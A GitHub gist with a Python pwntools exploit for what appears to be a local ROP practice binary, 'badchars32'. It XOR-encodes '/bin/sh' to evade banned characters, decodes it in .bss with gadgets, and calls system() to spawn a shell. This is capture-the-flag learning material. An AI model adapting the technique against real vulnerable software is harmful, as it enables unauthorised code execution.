Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
badchars32
#!/usr/bin/env python
# coding: utf-8
from pwn import *
context(os="linux", arch="i386")
#
# badchars are: b i c / <space> f n s
#
def main():
conn = process("./badchars32")
system = 0x80484e0
pop3ret = 0x80488f9 # pop esi ; pop edi ; pop ebp ; ret
pop2ret = 0x8048896 # pop ebx ; pop ecx ; ret
bss_addr = 0x804a040 + 0x10 # buffer, 使用する領域はbssの中間がいいらしい?
mov_edi_esi = 0x8048893 # mov dword ptr [edi], esi ; ret
xor_ebx_cl = 0x8048890 # xor BYTE PTR [ebx],cl
# ROP chain
payload = ""
payload += "A" * 44
payload += p32(pop3ret)
payload += "\x1d\x72\x79\x7e" # /bin, 全てbadcharsなのでxor (/ ^ 0x32, bin ^ 0x10), esi
payload += p32(bss_addr) # edi
payload += 'A' * 4 # padding(ebp)
payload += p32(mov_edi_esi)
payload += p32(pop3ret)
payload += "\x1d\x61\x68\x00" # /sh\00, / と s はbadcharsなのでxor (/ ^ 0x32, s ^ 0x12), esi
payload += p32(bss_addr + 4) # edi
payload += "B" * 4 # padding(ebp)
payload += p32(mov_edi_esi)
payload += p32(pop2ret)
payload += p32(bss_addr) # \x1d, ebx
payload += p32(0x32) # ecx
payload += p32(xor_ebx_cl) # /
payload += p32(pop2ret)
payload += p32(bss_addr + 1) # \x72, ebx
payload += p32(0x10) # ecx
payload += p32(xor_ebx_cl) # b
payload += p32(pop2ret)
payload += p32(bss_addr + 2) # \x79, ebx
payload += p32(0x10) # ecx
payload += p32(xor_ebx_cl) # i
payload += p32(pop2ret)
payload += p32(bss_addr + 3) # \x7e, ebx
payload += p32(0x10) # ecx
payload += p32(xor_ebx_cl) # n
payload += p32(pop2ret)
payload += p32(bss_addr + 4) # \x1d, ebx
payload += p32(0x32) # ecx
payload += p32(xor_ebx_cl) # /
payload += p32(pop2ret)
payload += p32(bss_addr + 5) # \x61, ebx
payload += p32(0x12) # ecx
payload += p32(xor_ebx_cl) # s
payload += p32(system)
payload += "C" * 4 # padding
payload += p32(bss_addr) # buffer
print conn.recv(100)
conn.send(payload)
conn.interactive()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.